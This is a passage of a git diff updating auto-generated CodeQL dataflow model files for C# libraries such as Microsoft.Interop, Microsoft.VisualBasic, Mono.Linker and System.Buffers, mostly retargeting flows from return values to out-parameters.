"Argument[this].SyntheticField[Microsoft.Interop.MethodSignatureElementInfoProvider._method]", "value", "dfc-generated"] - - ["Microsoft.Interop", "MethodSignatureElementInfoProvider", False, "TryGetInfoForElementName", "(Microsoft.CodeAnalysis.AttributeData,System.String,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.IElementInfoProvider,Microsoft.Interop.TypePositionInfo)", "", "Argument[2].ReturnValue", "ReturnValue.Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] + - ["Microsoft.Interop", "MethodSignatureElementInfoProvider", False, "TryGetInfoForElementName", "(Microsoft.CodeAnalysis.AttributeData,System.String,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.IElementInfoProvider,Microsoft.Interop.TypePositionInfo)", "", "Argument[2].ReturnValue", "Argument[4].Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] - ["Microsoft.Interop", "MethodSignatureElementInfoProvider", False, "TryGetInfoForElementName", "(Microsoft.CodeAnalysis.AttributeData,System.String,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.IElementInfoProvider,Microsoft.Interop.TypePositionInfo)", "", "Argument[this].SyntheticField[Microsoft.Interop.MethodSignatureElementInfoProvider._method].Property[Microsoft.CodeAnalysis.IMethodSymbol.ReturnType]", "Argument[2].Parameter[0]", "value", "dfc-generated"] - - ["Microsoft.Interop", "MethodSignatureElementInfoProvider", False, "TryGetInfoForParamIndex", "(Microsoft.CodeAnalysis.AttributeData,System.Int32,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.IElementInfoProvider,Microsoft.Interop.TypePositionInfo)", "", "Argument[2].ReturnValue", "ReturnValue.Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] + - ["Microsoft.Interop", "MethodSignatureElementInfoProvider", False, "TryGetInfoForParamIndex", "(Microsoft.CodeAnalysis.AttributeData,System.Int32,Microsoft.Interop.GetMarshallingInfoCallback,Microsoft.Interop.IElementInfoProvider,Microsoft.Interop.TypePositionInfo)", "", "Argument[2].ReturnValue", "Argument[4].Property[Microsoft.Interop.TypePositionInfo.MarshallingAttributeInfo]", "value", "dfc-generated"] - ["Microsoft.Interop", "NativeLinearCollectionMarshallingInfo", False, "NativeLinearCollectionMarshallingInfo", "(Microsoft.Interop.ManagedTypeInfo,Microsoft.Interop.CustomTypeMarshallers,Microsoft.Interop.CountInfo,Microsoft.Interop.ManagedTypeInfo)", "", "Argument[2]", "Argument[this].Property[Microsoft.Interop.NativeLinearCollectionMarshallingInfo.ElementCountInfo]", "value", "dfc-generated"] - ["Microsoft.Interop", "NativeLinearCollectionMarshallingInfo", False, "NativeLinearCollectionMarshallingInfo", "(Microsoft.Interop.ManagedTypeInfo,Microsoft.Interop.CustomTypeMarshallers,Microsoft.Interop.CountInfo,Microsoft.Interop.ManagedTypeInfo)", "", "Argument[3]", "Argument[this].Property[Microsoft.Interop.NativeLinearCollectionMarshallingInfo.PlaceholderTypeParameter]", "value", "dfc-generated"] - ["Microsoft.Interop", "NativeMarshallingAttributeInfo", False, "NativeMarshallingAttributeInfo", "(Microsoft.Interop.ManagedTypeInfo,Microsoft.Interop.CustomTypeMarshallers)", "", "Argument[0]", "Argument[this].Property[Microsoft.Interop.NativeMarshallingAttributeInfo.EntryPointType]", "value", "dfc-generated"] @@ -191,8 +191,8 @@ extensions: - ["Microsoft.Interop", "StubIdentifierContext", True, "GetIdentifiers", "(Microsoft.Interop.TypePositionInfo)", "", "Argument[0].Property[Microsoft.Interop.TypePositionInfo.InstanceIdentifier]", "ReturnValue.Field[System.ValueTuple`2.Item2]", "taint", "dfc-generated"] - ["Microsoft.Interop", "SyntaxEquivalentNode", False, "SyntaxEquivalentNode", "(T)", "", "Argument[0]", "Argument[this].Property[Microsoft.Interop.SyntaxEquivalentNode`1.Node]", "value", "dfc-generated"] - ["Microsoft.Interop", "SyntaxExtensions", False, "AddToModifiers", "(Microsoft.CodeAnalysis.SyntaxTokenList,Microsoft.CodeAnalysis.CSharp.SyntaxKind)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Interop", "SyntaxExtensions", False, "IsInPartialContext", "(Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax,System.Nullable)", "", "Argument[0].Property[Microsoft.CodeAnalysis.CSharp.Syntax.BaseTypeDeclarationSyntax.Identifier]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Interop", "SyntaxExtensions", False, "IsInPartialContext", "(Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax,System.Nullable)", "", "Argument[0].Property[Microsoft.CodeAnalysis.SyntaxNode.Parent].Property[Microsoft.CodeAnalysis.CSharp.Syntax.BaseTypeDeclarationSyntax.Identifier]", "ReturnValue", "value", "dfc-generated"] + - ["Microsoft.Interop", "SyntaxExtensions", False, "IsInPartialContext", "(Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax,System.Nullable)", "", "Argument[0].Property[Microsoft.CodeAnalysis.CSharp.Syntax.BaseTypeDeclarationSyntax.Identifier]", "Argument[1]", "value", "dfc-generated"] + - ["Microsoft.Interop", "SyntaxExtensions", False, "IsInPartialContext", "(Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax,System.Nullable)", "", "Argument[0].Property[Microsoft.CodeAnalysis.SyntaxNode.Parent].Property[Microsoft.CodeAnalysis.CSharp.Syntax.BaseTypeDeclarationSyntax.Identifier]", "Argument[1]", "value", "dfc-generated"] - ["Microsoft.Interop", "SyntaxExtensions", False, "NestFixedStatements", "(System.Collections.Immutable.ImmutableArray,Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Interop", "SzArrayType", False, "SzArrayType", "(Microsoft.Interop.ManagedTypeInfo)", "", "Argument[0]", "Argument[this].Property[Microsoft.Interop.SzArrayType.ElementTypeInfo]", "value", "dfc-generated"] - ["Microsoft.Interop", "TypePositionInfo", False, "CreateForParameter", "(Microsoft.CodeAnalysis.IParameterSymbol,Microsoft.Interop.MarshallingInfo,Microsoft.CodeAnalysis.Compilation)", "", "Argument[0].Property[Microsoft.CodeAnalysis.ISymbol.Name]", "ReturnValue.Property[Microsoft.Interop.TypePositionInfo.InstanceIdentifier]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.CompilerServices.model.yml b/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.CompilerServices.model.yml index 043830b1d67..5123bb49724 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.CompilerServices.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.CompilerServices.model.yml @@ -1,10 +1,5 @@ # THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. extensions: - - addsTo: - pack: codeql/csharp-all - extensible: summaryModel - data: - - ["Microsoft.VisualBasic.CompilerServices", "StringType", False, "MidStmtStr", "(System.String,System.Int32,System.Int32,System.String)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - addsTo: pack: codeql/csharp-all extensible: neutralModel @@ -197,6 +192,7 @@ extensions: - ["Microsoft.VisualBasic.CompilerServices", "StringType", "FromShort", "(System.Int16)", "summary", "df-generated"] - ["Microsoft.VisualBasic.CompilerServices", "StringType", "FromSingle", "(System.Single)", "summary", "df-generated"] - ["Microsoft.VisualBasic.CompilerServices", "StringType", "FromSingle", "(System.Single,System.Globalization.NumberFormatInfo)", "summary", "df-generated"] + - ["Microsoft.VisualBasic.CompilerServices", "StringType", "MidStmtStr", "(System.String,System.Int32,System.Int32,System.String)", "summary", "df-generated"] - ["Microsoft.VisualBasic.CompilerServices", "StringType", "StrCmp", "(System.String,System.String,System.Boolean)", "summary", "df-generated"] - ["Microsoft.VisualBasic.CompilerServices", "StringType", "StrLike", "(System.String,System.String,Microsoft.VisualBasic.CompareMethod)", "summary", "df-generated"] - ["Microsoft.VisualBasic.CompilerServices", "StringType", "StrLikeBinary", "(System.String,System.String)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.model.yml b/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.model.yml index f471594f30f..4c9c289866a 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.VisualBasic.model.yml @@ -4,12 +4,6 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["Microsoft.VisualBasic", "FileSystem", False, "FileGet", "(System.Int32,System.Array,System.Int64,System.Boolean,System.Boolean)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.VisualBasic", "FileSystem", False, "FileGet", "(System.Int32,System.String,System.Int64,System.Boolean)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.VisualBasic", "FileSystem", False, "FileGet", "(System.Int32,System.ValueType,System.Int64)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.VisualBasic", "FileSystem", False, "FileGetObject", "(System.Int32,System.Object,System.Int64)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.VisualBasic", "FileSystem", False, "Input", "(System.Int32,System.Object)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.VisualBasic", "FileSystem", False, "Input", "(System.Int32,System.String)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.VisualBasic", "VBCodeProvider", False, "VBCodeProvider", "(System.Collections.Generic.IDictionary)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - addsTo: pack: codeql/csharp-all @@ -111,6 +105,7 @@ extensions: - ["Microsoft.VisualBasic", "FileSystem", "FileClose", "(System.Int32[])", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileCopy", "(System.String,System.String)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileDateTime", "(System.String)", "summary", "df-generated"] + - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.Array,System.Int64,System.Boolean,System.Boolean)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.Boolean,System.Int64)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.Byte,System.Int64)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.Char,System.Int64)", "summary", "df-generated"] @@ -121,6 +116,9 @@ extensions: - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.Int32,System.Int64)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.Int64,System.Int64)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.Single,System.Int64)", "summary", "df-generated"] + - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.String,System.Int64,System.Boolean)", "summary", "df-generated"] + - ["Microsoft.VisualBasic", "FileSystem", "FileGet", "(System.Int32,System.ValueType,System.Int64)", "summary", "df-generated"] + - ["Microsoft.VisualBasic", "FileSystem", "FileGetObject", "(System.Int32,System.Object,System.Int64)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileLen", "(System.String)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FileOpen", "(System.Int32,System.String,Microsoft.VisualBasic.OpenMode,Microsoft.VisualBasic.OpenAccess,Microsoft.VisualBasic.OpenShare,System.Int32)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "FilePut", "(System.Int32,System.Array,System.Int64,System.Boolean,System.Boolean)", "summary", "df-generated"] @@ -150,7 +148,9 @@ extensions: - ["Microsoft.VisualBasic", "FileSystem", "Input", "(System.Int32,System.Int16)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "Input", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "Input", "(System.Int32,System.Int64)", "summary", "df-generated"] + - ["Microsoft.VisualBasic", "FileSystem", "Input", "(System.Int32,System.Object)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "Input", "(System.Int32,System.Single)", "summary", "df-generated"] + - ["Microsoft.VisualBasic", "FileSystem", "Input", "(System.Int32,System.String)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "InputString", "(System.Int32,System.Int32)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "Kill", "(System.String)", "summary", "df-generated"] - ["Microsoft.VisualBasic", "FileSystem", "LOF", "(System.Int32)", "summary", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml b/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml index f72895d03e2..0e6f2465ec0 100644 --- a/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml +++ b/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml @@ -51,9 +51,7 @@ extensions: - ["Mono.Linker.Steps", "MarkStep", False, "get_Tracer", "()", "", "Argument[this].SyntheticField[Mono.Linker.Steps.MarkStep._context].Property[Mono.Linker.LinkContext.Tracer]", "ReturnValue", "value", "dfc-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkAssembly", "(Mono.Cecil.AssemblyDefinition,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkEvent", "(Mono.Cecil.EventDefinition,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Mono.Linker.Steps", "MarkStep", True, "MarkInstruction", "(Mono.Cecil.Cil.Instruction,Mono.Cecil.MethodDefinition,System.Boolean,Mono.Linker.MessageOrigin)", "", "Argument[3].Property[Mono.Linker.MessageOrigin.FileName]", "ReturnValue.Property[Mono.Linker.MessageOrigin.FileName]", "value", "dfc-generated"] - - ["Mono.Linker.Steps", "MarkStep", True, "MarkInstruction", "(Mono.Cecil.Cil.Instruction,Mono.Cecil.MethodDefinition,System.Boolean,Mono.Linker.MessageOrigin)", "", "Argument[3].Property[Mono.Linker.MessageOrigin.Provider]", "ReturnValue.Property[Mono.Linker.MessageOrigin.Provider]", "value", "dfc-generated"] - - ["Mono.Linker.Steps", "MarkStep", True, "MarkInstruction", "(Mono.Cecil.Cil.Instruction,Mono.Cecil.MethodDefinition,System.Boolean,Mono.Linker.MessageOrigin)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] + - ["Mono.Linker.Steps", "MarkStep", True, "MarkInstruction", "(Mono.Cecil.Cil.Instruction,Mono.Cecil.MethodDefinition,System.Boolean,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkInterfaceImplementation", "(Mono.Cecil.InterfaceImplementation,Mono.Linker.MessageOrigin,System.Nullable)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -85,7 +83,7 @@ extensions: - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", False, "ProcessLinkerXmlBase", "(Mono.Linker.LinkContext,System.IO.Stream,System.String)", "", "Argument[2]", "Argument[this].Field[Mono.Linker.Steps.ProcessLinkerXmlBase._xmlDocumentLocation]", "value", "dfc-generated"] - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", False, "ProcessTypeChildren", "(Mono.Cecil.TypeDefinition,System.Xml.XPath.XPathNavigator,System.Object)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", False, "ToString", "()", "", "Argument[this].Field[Mono.Linker.Steps.ProcessLinkerXmlBase._xmlDocumentLocation]", "ReturnValue", "taint", "dfc-generated"] - - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", False, "TryConvertValue", "(System.String,Mono.Cecil.TypeReference,System.Object)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", False, "TryConvertValue", "(System.String,Mono.Cecil.TypeReference,System.Object)", "", "Argument[0]", "Argument[2]", "value", "dfc-generated"] - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", True, "ProcessEvent", "(Mono.Cecil.TypeDefinition,Mono.Cecil.EventDefinition,System.Xml.XPath.XPathNavigator,System.Object)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", True, "ProcessEvent", "(Mono.Cecil.TypeDefinition,System.Xml.XPath.XPathNavigator,System.Object)", "", "Argument[0].Property[Mono.Cecil.TypeDefinition.Events].Element", "Argument[this].Field[Mono.Linker.Steps.DescriptorMarker._preservedMembers].Element", "value", "dfc-generated"] - ["Mono.Linker.Steps", "ProcessLinkerXmlBase", True, "ProcessField", "(Mono.Cecil.TypeDefinition,System.Xml.XPath.XPathNavigator)", "", "Argument[0].Property[Mono.Cecil.TypeDefinition.Fields].Element", "Argument[this].Field[Mono.Linker.Steps.DescriptorMarker._preservedMembers].Element", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/Mono.Linker.model.yml b/csharp/ql/lib/ext/generated/Mono.Linker.model.yml index 6519e273f0c..f48ad4aa411 100644 --- a/csharp/ql/lib/ext/generated/Mono.Linker.model.yml +++ b/csharp/ql/lib/ext/generated/Mono.Linker.model.yml @@ -96,7 +96,7 @@ extensions: - ["Mono.Linker", "MessageContainer", False, "CreateCustomWarningMessage", "(Mono.Linker.LinkContext,System.String,System.Int32,Mono.Linker.MessageOrigin,Mono.Linker.WarnVersion,System.String)", "", "Argument[5]", "ReturnValue.Property[Mono.Linker.MessageContainer.SubCategory]", "value", "dfc-generated"] - ["Mono.Linker", "MessageContainer", False, "CreateDiagnosticMessage", "(System.String)", "", "Argument[0]", "ReturnValue.Property[Mono.Linker.MessageContainer.Text]", "value", "dfc-generated"] - ["Mono.Linker", "MessageContainer", False, "CreateInfoMessage", "(System.String)", "", "Argument[0]", "ReturnValue.Property[Mono.Linker.MessageContainer.Text]", "value", "dfc-generated"] - - ["Mono.Linker", "MessageContainer", False, "IsWarningMessage", "(System.Nullable)", "", "Argument[this].Property[Mono.Linker.MessageContainer.Code]", "ReturnValue", "value", "dfc-generated"] + - ["Mono.Linker", "MessageContainer", False, "IsWarningMessage", "(System.Nullable)", "", "Argument[this].Property[Mono.Linker.MessageContainer.Code]", "Argument[0]", "value", "dfc-generated"] - ["Mono.Linker", "MessageContainer", False, "ToMSBuildString", "()", "", "Argument[this].Property[Mono.Linker.MessageContainer.Origin].Property[Mono.Linker.MessageOrigin.FileName]", "ReturnValue", "taint", "dfc-generated"] - ["Mono.Linker", "MessageContainer", False, "ToMSBuildString", "()", "", "Argument[this].Property[Mono.Linker.MessageContainer.SubCategory]", "ReturnValue", "taint", "dfc-generated"] - ["Mono.Linker", "MessageContainer", False, "ToMSBuildString", "()", "", "Argument[this].Property[Mono.Linker.MessageContainer.Text]", "ReturnValue", "taint", "dfc-generated"] @@ -113,8 +113,8 @@ extensions: - ["Mono.Linker", "MessageOrigin", False, "ToString", "()", "", "Argument[this].Property[Mono.Linker.MessageOrigin.FileName]", "ReturnValue", "taint", "dfc-generated"] - ["Mono.Linker", "MessageOrigin", False, "WithInstructionOffset", "(System.Int32)", "", "Argument[this].Property[Mono.Linker.MessageOrigin.FileName]", "ReturnValue.Property[Mono.Linker.MessageOrigin.FileName]", "value", "dfc-generated"] - ["Mono.Linker", "MessageOrigin", False, "WithInstructionOffset", "(System.Int32)", "", "Argument[this].Property[Mono.Linker.MessageOrigin.Provider]", "ReturnValue.Property[Mono.Linker.MessageOrigin.Provider]", "value", "dfc-generated"] - - ["Mono.Linker", "MethodDefinitionExtensions", False, "TryGetEvent", "(Mono.Cecil.MethodDefinition,Mono.Cecil.EventDefinition)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Mono.Linker", "MethodDefinitionExtensions", False, "TryGetProperty", "(Mono.Cecil.MethodDefinition,Mono.Cecil.PropertyDefinition)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Mono.Linker", "MethodDefinitionExtensions", False, "TryGetEvent", "(Mono.Cecil.MethodDefinition,Mono.Cecil.EventDefinition)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - ["Mono.Linker", "MethodDefinitionExtensions", False, "TryGetProperty", "(Mono.Cecil.MethodDefinition,Mono.Cecil.PropertyDefinition)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["Mono.Linker", "MethodIL", False, "Create", "(Mono.Cecil.Cil.MethodBody)", "", "Argument[0]", "ReturnValue.Field[Mono.Linker.MethodIL.Body]", "value", "dfc-generated"] - ["Mono.Linker", "MethodIL", False, "get_ExceptionHandlers", "()", "", "Argument[this].Field[Mono.Linker.MethodIL.Body].Property[Mono.Cecil.Cil.MethodBody.ExceptionHandlers]", "ReturnValue", "value", "dfc-generated"] - ["Mono.Linker", "MethodIL", False, "get_Instructions", "()", "", "Argument[this].Field[Mono.Linker.MethodIL.Body].Property[Mono.Cecil.Cil.MethodBody.Instructions]", "ReturnValue", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Buffers.model.yml b/csharp/ql/lib/ext/generated/System.Buffers.model.yml index 0f351ff18d1..ff472f7b0cf 100644 --- a/csharp/ql/lib/ext/generated/System.Buffers.model.yml +++ b/csharp/ql/lib/ext/generated/System.Buffers.model.yml @@ -33,37 +33,30 @@ extensions: - ["System.Buffers", "ReadOnlySequence", False, "Slice", "(System.SequencePosition,System.Int64)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Buffers", "ReadOnlySequence", False, "Slice", "(System.SequencePosition,System.SequencePosition)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Buffers", "ReadOnlySequence", False, "Slice", "(System.SequencePosition,System.SequencePosition)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Buffers", "ReadOnlySequence", False, "TryGet", "(System.SequencePosition,System.ReadOnlyMemory,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["System.Buffers", "ReadOnlySequence", False, "get_FirstSpan", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Buffers", "SearchValues", False, "Create", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Buffers", "SearchValues", False, "Create", "(System.ReadOnlySpan,System.StringComparison)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Buffers", "SequenceReader", False, "SequenceReader", "(System.Buffers.ReadOnlySequence)", "", "Argument[0]", "Argument[this].Property[System.Buffers.SequenceReader`1.Sequence]", "value", "dfc-generated"] - ["System.Buffers", "SequenceReader", False, "TryCopyTo", "(System.Span)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[0].Element", "value", "dfc-generated"] - ["System.Buffers", "SequenceReader", False, "TryCopyTo", "(System.Span)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "Argument[0].Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryPeek", "(System.Int64,T)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryPeek", "(T)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryRead", "(T)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadExact", "(System.Int32,System.Buffers.ReadOnlySequence)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.Buffers.ReadOnlySequence,T,System.Boolean)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.Buffers.ReadOnlySequence,T,T,System.Boolean)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadToAny", "(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadToAny", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] - - ["System.Buffers", "SequenceReader", False, "TryReadToAny", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "ReturnValue.Element", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryPeek", "(System.Int64,T)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[1]", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryPeek", "(T)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[0]", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryRead", "(T)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[0]", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadExact", "(System.Int32,System.Buffers.ReadOnlySequence)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.Buffers.ReadOnlySequence,T,System.Boolean)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.Buffers.ReadOnlySequence,T,T,System.Boolean)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[0].Element", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "Argument[0].Element", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[0].Element", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element", "Argument[0].Element", "value", "dfc-generated"] + - ["System.Buffers", "SequenceReader", False, "TryReadTo", "(System.ReadOnlySpan,T,T,System.Boolean)", "", "Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element", "Argument[0].Element", "value", 